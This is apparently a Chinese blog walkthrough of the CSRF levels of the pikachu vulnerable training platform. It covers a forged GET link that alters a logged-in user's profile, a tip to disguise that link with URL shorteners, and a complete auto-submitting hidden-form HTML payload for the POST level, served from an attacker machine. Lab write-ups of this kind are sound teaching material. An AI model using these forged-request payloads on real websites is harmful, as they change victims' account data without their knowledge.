pikachu CSRF(跨站请求伪造) (皮卡丘漏洞平台通关系列)

一、官方介绍本节引用内容来自pikachu漏洞平台（删了一些内容，留下了最重要的部分，并为精炼语言进行了一些修改）1、我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。2、本质是借用户的权限完成攻击，因此攻击成功需要用户已经通过验证获得了权限，并触发了攻击者提供的请求。3、网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的

仙女象

9118人浏览 · 2021-04-14 22:52:10

仙女象 · 2021-04-14 22:52:10 发布

一、官方介绍

本节引用内容来自pikachu漏洞平台（删了一些内容，留下了最重要的部分，并为精炼语言进行了一些修改）

1、我们判断一个网站是否存在CSRF漏洞，其实就是判断其对关键信息（比如密码等敏感信息）的操作(增删改)是否容易被伪造。

2、本质是借用户的权限完成攻击，因此攻击成功需要用户已经通过验证获得了权限，并触发了攻击者提供的请求。

3、网站如果要防止CSRF攻击，则需要对敏感信息的操作实施对应的安全措施，防止这些操作出现被伪造的情况，从而导致CSRF。比如：
--对敏感信息的操作增加安全的token；
--对敏感信息的操作增加安全的验证码；
--对敏感信息的操作实施安全的逻辑流程，比如修改密码时，需要先校验旧密码等

二、一起闯关吧

第1关 CSRF(get)

1、闯关

看名字应该是get型的CSRF吧，漏洞点可能在url中，待会儿注意一下。

进来首先要登录，不知道账号密码，点一下提示

就来搞一下vince吧，登录进去显示了vince的个人信息，并且最下面有个修改个人信息的链接，点一下

住址改成france，然后点submit，发现url也没啥变化呀，点击提交之后就跳转到上图这个显示个人信息的页面了，住址也修改成功了（不截图了，多余……）

肉眼看不到的url变化，burpsuite可以，刚刚submit数据的过程用burpsuite抓了包，得到下图这样的报文，修改用户配置的url是：

http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18626545453&add=france&email=vince%40pikachu.com&submit=submit

从上面的url和下图的报文可见，修改用户信息的时候，是不带任何不可预测的认证信息的。那么，这里应该是可以被利用的。

在vince登录状态下（其实这个链接里面是不包含用户名的，谁登录都无所谓，只要有人登录着就行，登录着的用户的信息就会被改成url提供的那些），试试改一改上面的链接，比如把电话号码改一改。浏览器地址栏输入payload：

http://192.168.101.16/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=boy&phonenum=18612358678&add=france&email=vince%40pikachu.com&submit=submit

跳转到显示用户信息的地方，手机号已经被成功修改，攻击成功。

如果觉得这个url过于明显，网上有很多短链接网站可以修饰url（百度搜索“短链接”就有很多）

比如下图这样（印象中似乎见过一个网站可以自己定义生成的短链接的部分特征，比如以某个知名网站名开头。没找到，要是哪位大神知道，欢迎分享）

浏览器地址栏输入这个短链接之后，vince成功变成女孩啦

2、代码

简单看一下这关代码。这关的代码其实没啥可说的，主要是下一关有可说的，为了保持队形(╯▽╰ )

24~27行先检查用户是否登录，如果没登录则跳转到登录页面。如果用户已登录，就不再做任何验证，直接将前端传来的数据下到数据库了（看代码这关还有sql注入漏洞呢）。

第2关 CSRF(post)

1、闯关

进来依然要先登录，这次搞一下lucy

进去之后还是显示个人信息的地方，点“修改个人信息”

把性别改成boy，看看burpsuite抓到什么样的包了

从上图的请求报文来看，和前一关一样，没有不可预测的认证信息，可以被利用。

post类型的比get类型利用起来要烦一点点，需要攻击者自己写个利用该漏洞的html文件，放在自己服务器上，并发给用户请求这个html文件的链接。

比如针对这一关，将包含如下html代码的文件（假设文件名为post.html）放入攻击者的电脑，比如192.168.101.14；

然后在攻击者电脑上起http服务，比如python3 -m http.server 80

再将链接http://192.168.101.14/post.html发送给登录状态的用户

用户点击链接之后，就可以修改信息

<html>
    <script>                                                                                                       <!-- 这个script是用来自动提交表单的 -->
        window.onload = function() {
        document.getElementById("submit").click();
        }
    </script>              
    <body>
            <form action="http://192.168.101.16/pikachu/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">    
                <input type="hidden" name="sex" value="girl" />
                <input type="hidden" name="phonenum" value="12345678922" />
                <input type="hidden" name="add" value="usa" />
                <input type="hidden" name="email" value="xiannv@pikachu.com" />
                <input type="hidden" name="submit" value="submit" />
	            <input id="submit" type="submit" value="Submit request" style="display:none"/>                    <!-- style设置为display:none起到隐藏submit按钮的作用 -->
            </form>
    </body>
</html>

2、一个奇怪的现象和思考

本节内容和漏洞无关，不感兴趣可以跳过。

这关的闯关过程中发现一个奇怪的现象，输入payload（http://192.168.101.14/post.html），有时会成功，有时则会出现下图这样的页面，404 not found。

出现这种情况有2步原因，首先是因为后端没有获取到用户登录信息，其次是靶场源代码有问题。

先说第2步原因，csrf_post.php文件中如果检测到用户没有登录，会跳转到同文件夹（csrfpost）下的csrf_get_login.php，但事实上csrfpost文件夹下并没有这个文件，因此会返回404 not found。

把header("location:csrf_get_login.php");改成header("location:csrf_post_login.php");之后，就可以在检测到用户未登录时正确跳转到用户登录页面。

再看第1步原因，为什么用户登录之后后端检测结果是用户未登录？一开始以为是和网页跳转有关（192.168.101.14跳到192.168.101.16），尝试了很多次之后，分析大概率是因为这关session时间特别短（大概不到1min），至于为什么session时间特别短，目前还没看出来，pikachu源代码目录下没看到人为设置session过期时间的操作。。。